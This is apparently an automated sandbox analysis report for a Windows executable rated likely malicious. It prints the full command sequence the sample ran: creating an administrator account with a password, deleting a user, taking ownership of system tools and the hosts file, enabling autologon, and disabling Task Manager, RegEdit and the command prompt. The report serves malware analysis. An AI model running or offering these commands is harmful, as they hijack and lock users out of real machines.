Analysis Overview
SHA256
9d607a4b5974b41987870192654be72cf912944131ddf5a15820461908741b81
Threat Level: Likely malicious
The file d58aa445cfb185ea87ad2b98dc4753a4 was found to be: Likely malicious.
Malicious Activity Summary
Grants admin privileges
Disables Task Manager via registry modification
Possible privilege escalation attempt
Disables RegEdit via registry modification
Drops file in Drivers directory
Modifies file permissions
Unsigned PE
Modifies registry key
Suspicious use of AdjustPrivilegeToken
Runs net.exe
Suspicious use of WriteProcessMemory
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-03-19 07:25
Signatures
Unsigned PE
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-03-19 07:25
Reported
2024-03-19 07:28
Platform
win7-20240221-en
Max time kernel
120s
Max time network
134s
Command Line
Signatures
Grants admin privileges
Disables RegEdit via registry modification
| Description | Indicator | Process | Target |
| Set value (int) | \REGISTRY\USER\S-1-5-21-1658372521-4246568289-2509113762-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1" | C:\Windows\system32\reg.exe | N/A |
Disables Task Manager via registry modification
Drops file in Drivers directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Windows\System32\drivers\etc\hosts | C:\Windows\system32\cmd.exe | N/A |
Possible privilege escalation attempt
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\icacls.exe | N/A |
| N/A | N/A | C:\Windows\System32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\System32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
| N/A | N/A | C:\Windows\System32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
| N/A | N/A | C:\Windows\System32\icacls.exe | N/A |
| N/A | N/A | C:\Windows\System32\icacls.exe | N/A |
| N/A | N/A | C:\Windows\System32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\System32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\System32\icacls.exe | N/A |
| N/A | N/A | C:\Windows\System32\icacls.exe | N/A |
Modifies file permissions
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\System32\icacls.exe | N/A |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
| N/A | N/A | C:\Windows\System32\icacls.exe | N/A |
| N/A | N/A | C:\Windows\System32\icacls.exe | N/A |
| N/A | N/A | C:\Windows\System32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\System32\icacls.exe | N/A |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
| N/A | N/A | C:\Windows\System32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\System32\icacls.exe | N/A |
| N/A | N/A | C:\Windows\System32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\System32\takeown.exe | N/A |
Modifies registry key
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\reg.exe | N/A |
| N/A | N/A | C:\Windows\system32\reg.exe | N/A |
| N/A | N/A | C:\Windows\system32\reg.exe | N/A |
| N/A | N/A | C:\Windows\system32\reg.exe | N/A |
Runs net.exe
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeTakeOwnershipPrivilege | N/A | C:\Windows\System32\takeown.exe | N/A |
| Token: SeTakeOwnershipPrivilege | N/A | C:\Windows\System32\takeown.exe | N/A |
| Token: SeTakeOwnershipPrivilege | N/A | C:\Windows\System32\takeown.exe | N/A |
| Token: SeTakeOwnershipPrivilege | N/A | C:\Windows\System32\takeown.exe | N/A |
| Token: SeTakeOwnershipPrivilege | N/A | C:\Windows\system32\takeown.exe | N/A |
| Token: SeTakeOwnershipPrivilege | N/A | C:\Windows\System32\takeown.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\d58aa445cfb185ea87ad2b98dc4753a4.exe
"C:\Users\Admin\AppData\Local\Temp\d58aa445cfb185ea87ad2b98dc4753a4.exe"
C:\Windows\system32\cmd.exe
"C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\49CC.tmp\49CD.tmp\49CE.bat C:\Users\Admin\AppData\Local\Temp\d58aa445cfb185ea87ad2b98dc4753a4.exe"
C:\Windows\system32\net.exe
net user AntiForkie collabvm /add
C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user AntiForkie collabvm /add
C:\Windows\system32\net.exe
net user ClubPenguin /add
C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user ClubPenguin /add
C:\Windows\system32\net.exe
net localgroup administrators AntiForkie /add
C:\Windows\system32\net1.exe
C:\Windows\system32\net1 localgroup administrators AntiForkie /add
C:\Windows\system32\msg.exe
msg * AntiForkie By ClubPenguin Installed! with a little help of a friend
C:\Windows\system32\net.exe
net user Forkie /delete
C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Forkie /delete
C:\Windows\system32\net.exe
net session
C:\Windows\system32\net1.exe
C:\Windows\system32\net1 session
C:\Windows\System32\takeown.exe
takeown /f rd.exe
C:\Windows\System32\icacls.exe
icacls rd.exe /grant administrators:F
C:\Windows\System32\takeown.exe
takeown /f syskey.exe
C:\Windows\System32\icacls.exe
icacls syskey.exe /grant administrators:F
C:\Windows\System32\takeown.exe
takeown /f bcdedit.exe
C:\Windows\System32\icacls.exe
icacls bcdedit.exe /grant administrators:F
C:\Windows\System32\takeown.exe
takeown /f mountvol.exe
C:\Windows\System32\icacls.exe
icacls mountvol.exe /grant administrators:F
C:\Windows\system32\takeown.exe
takeown /f wmic.exe
C:\Windows\system32\icacls.exe
icacls wmic.exe /grant administrators:F
C:\Windows\System32\takeown.exe
takeown /f shutdown.exe
C:\Windows\System32\icacls.exe
icacls shutdown.exe /grant administrators:F
C:\Windows\system32\takeown.exe
takeown /f hosts
C:\Windows\system32\icacls.exe
icacls hosts /grant administrators:F
C:\Windows\system32\reg.exe
REG ADD "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AutoAdminLogon /t REG_SZ /d 1 /f
C:\Windows\system32\reg.exe
REG ADD "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName /t REG_SZ /d Admin /f
C:\Windows\system32\reg.exe
REG DELETE "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v shutdownwithoutlogon /f
C:\Windows\system32\reg.exe
REG ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v shutdownwithoutlogon /t REG_DWORD /d 0 /f
C:\Windows\system32\reg.exe
REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoClose /t REG_DWORD /d 1 /f
C:\Windows\system32\reg.exe
REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v NoDispSettingsPage /t REG_DWORD /d 1 /f
C:\Windows\system32\reg.exe
REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion \Policies\Explorer" /v StartMenuLogoff /t REG_DWORD /d 1 /f
C:\Windows\system32\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
C:\Windows\system32\reg.exe
reg add HKCU\Software\Policies\Microsoft\Windows\System
C:\Windows\system32\reg.exe
reg add HKCU\Software\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 2 /f
C:\Windows\system32\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f
Network
Files
C:\Users\Admin\AppData\Local\Temp\49CC.tmp\49CD.tmp\49CE.bat
| MD5 | 22fd8e4ee0bf39a0d4e79718a5740e54 |
| SHA1 | 71d3a18fee8a0585e5f7f74612c645af1761e9bf |
| SHA256 | d0e20adc83584179ee4f9c704fa57f8b2548d32aff163d145529a425adf4b5e9 |
| SHA512 | f29ff5d96d51c96e1638ebf08c64d0ebb1525c6f80ebe2546fea6abef05dfd5f3cee7c2c3f4fb106907a3b8bf20d8128930789c3de786291109bbb7997070725 |
\??\PIPE\samr
| MD5 | d41d8cd98f00b204e9800998ecf8427e |
| SHA1 | da39a3ee5e6b4b0d3255bfef95601890afd80709 |
| SHA256 | e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 |
| SHA512 | cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e |
Analysis: behavioral2
Detonation Overview
Submitted
2024-03-19 07:25
Reported
2024-03-19 07:28
Platform
win10v2004-20240226-en
Max time kernel
157s
Max time network
162s
Command Line
Signatures
Grants admin privileges
Disables RegEdit via registry modification
| Description | Indicator | Process | Target |
| Set value (int) | \REGISTRY\USER\S-1-5-21-609813121-2907144057-1731107329-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1" | C:\Windows\system32\reg.exe | N/A |
Disables Task Manager via registry modification
Drops file in Drivers directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Windows\System32\drivers\etc\hosts | C:\Windows\system32\cmd.exe | N/A |
Possible privilege escalation attempt
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
| N/A | N/A | C:\Windows\System32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\System32\icacls.exe | N/A |
| N/A | N/A | C:\Windows\System32\icacls.exe | N/A |
| N/A | N/A | C:\Windows\System32\icacls.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\System32\icacls.exe | N/A |
| N/A | N/A | C:\Windows\System32\icacls.exe | N/A |
| N/A | N/A | C:\Windows\System32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\System32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\System32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\System32\takeown.exe | N/A |
Modifies file permissions
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\System32\icacls.exe | N/A |
| N/A | N/A | C:\Windows\System32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
| N/A | N/A | C:\Windows\System32\icacls.exe | N/A |
| N/A | N/A | C:\Windows\System32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\System32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\System32\icacls.exe | N/A |
| N/A | N/A | C:\Windows\System32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\System32\icacls.exe | N/A |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\System32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\System32\icacls.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
Modifies registry key
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\reg.exe | N/A |
| N/A | N/A | C:\Windows\system32\reg.exe | N/A |
| N/A | N/A | C:\Windows\system32\reg.exe | N/A |
| N/A | N/A | C:\Windows\system32\reg.exe | N/A |
Runs net.exe
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeTakeOwnershipPrivilege | N/A | C:\Windows\System32\takeown.exe | N/A |
| Token: SeTakeOwnershipPrivilege | N/A | C:\Windows\System32\takeown.exe | N/A |
| Token: SeTakeOwnershipPrivilege | N/A | C:\Windows\System32\takeown.exe | N/A |
| Token: SeTakeOwnershipPrivilege | N/A | C:\Windows\System32\takeown.exe | N/A |
| Token: SeTakeOwnershipPrivilege | N/A | C:\Windows\system32\takeown.exe | N/A |
| Token: SeTakeOwnershipPrivilege | N/A | C:\Windows\System32\takeown.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\d58aa445cfb185ea87ad2b98dc4753a4.exe
"C:\Users\Admin\AppData\Local\Temp\d58aa445cfb185ea87ad2b98dc4753a4.exe"
C:\Windows\system32\cmd.exe
"C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\B026.tmp\B027.tmp\B028.bat C:\Users\Admin\AppData\Local\Temp\d58aa445cfb185ea87ad2b98dc4753a4.exe"
C:\Windows\system32\net.exe
net user AntiForkie collabvm /add
C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user AntiForkie collabvm /add
C:\Windows\system32\net.exe
net user ClubPenguin /add
C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user ClubPenguin /add
C:\Windows\system32\net.exe
net localgroup administrators AntiForkie /add
C:\Windows\system32\net1.exe
C:\Windows\system32\net1 localgroup administrators AntiForkie /add
C:\Windows\system32\msg.exe
msg * AntiForkie By ClubPenguin Installed! with a little help of a friend
C:\Windows\system32\net.exe
net user Forkie /delete
C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Forkie /delete
C:\Windows\system32\net.exe
net session
C:\Windows\system32\net1.exe
C:\Windows\system32\net1 session
C:\Windows\System32\takeown.exe
takeown /f rd.exe
C:\Windows\System32\icacls.exe
icacls rd.exe /grant administrators:F
C:\Windows\System32\takeown.exe
takeown /f syskey.exe
C:\Windows\System32\icacls.exe
icacls syskey.exe /grant administrators:F
C:\Windows\System32\takeown.exe
takeown /f bcdedit.exe
C:\Windows\System32\icacls.exe
icacls bcdedit.exe /grant administrators:F
C:\Windows\System32\takeown.exe
takeown /f mountvol.exe
C:\Windows\System32\icacls.exe
icacls mountvol.exe /grant administrators:F
C:\Windows\system32\takeown.exe
takeown /f wmic.exe
C:\Windows\system32\icacls.exe
icacls wmic.exe /grant administrators:F
C:\Windows\System32\takeown.exe
takeown /f shutdown.exe
C:\Windows\System32\icacls.exe
icacls shutdown.exe /grant administrators:F
C:\Windows\system32\takeown.exe
takeown /f hosts
C:\Windows\system32\icacls.exe
icacls hosts /grant administrators:F
C:\Windows\system32\reg.exe
REG ADD "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AutoAdminLogon /t REG_SZ /d 1 /f
C:\Windows\system32\reg.exe
REG ADD "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName /t REG_SZ /d Admin /f
C:\Windows\system32\reg.exe
REG DELETE "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v shutdownwithoutlogon /f
C:\Windows\system32\reg.exe
REG ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v shutdownwithoutlogon /t REG_DWORD /d 0 /f
C:\Windows\system32\reg.exe
REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoClose /t REG_DWORD /d 1 /f
C:\Windows\system32\reg.exe
REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v NoDispSettingsPage /t REG_DWORD /d 1 /f
C:\Windows\system32\reg.exe
REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion \Policies\Explorer" /v StartMenuLogoff /t REG_DWORD /d 1 /f
C:\Windows\system32\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
C:\Windows\system32\reg.exe
reg add HKCU\Software\Policies\Microsoft\Windows\System
C:\Windows\system32\reg.exe
reg add HKCU\Software\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 2 /f
C:\Windows\system32\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 64.159.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 194.178.17.96.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 209.205.72.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 9.228.82.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 183.142.211.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 57.169.31.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 76.32.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 41.110.16.96.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 50.23.12.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 196.249.167.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 15.164.165.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 104.241.123.92.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 119.110.54.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 217.135.221.88.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 176.178.17.96.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 32.134.221.88.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 18.134.221.88.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 43.58.199.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | tse1.mm.bing.net | udp |
| US | 204.79.197.200:443 | tse1.mm.bing.net | tcp |
| US | 204.79.197.200:443 | tse1.mm.bing.net | tcp |
| US | 204.79.197.200:443 | tse1.mm.bing.net | tcp |
| US | 204.79.197.200:443 | tse1.mm.bing.net | tcp |
| US | 8.8.8.8:53 | 200.197.79.204.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 43.229.111.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 174.178.17.96.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 10.175.16.69.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 123.10.44.20.in-addr.arpa | udp |
| GB | 96.17.178.174:80 | tcp |
Files
C:\Users\Admin\AppData\Local\Temp\B026.tmp\B027.tmp\B028.bat
| MD5 | 22fd8e4ee0bf39a0d4e79718a5740e54 |
| SHA1 | 71d3a18fee8a0585e5f7f74612c645af1761e9bf |
| SHA256 | d0e20adc83584179ee4f9c704fa57f8b2548d32aff163d145529a425adf4b5e9 |
| SHA512 | f29ff5d96d51c96e1638ebf08c64d0ebb1525c6f80ebe2546fea6abef05dfd5f3cee7c2c3f4fb106907a3b8bf20d8128930789c3de786291109bbb7997070725 |
\??\PIPE\lsarpc
| MD5 | d41d8cd98f00b204e9800998ecf8427e |
| SHA1 | da39a3ee5e6b4b0d3255bfef95601890afd80709 |
| SHA256 | e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 |
| SHA512 | cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e |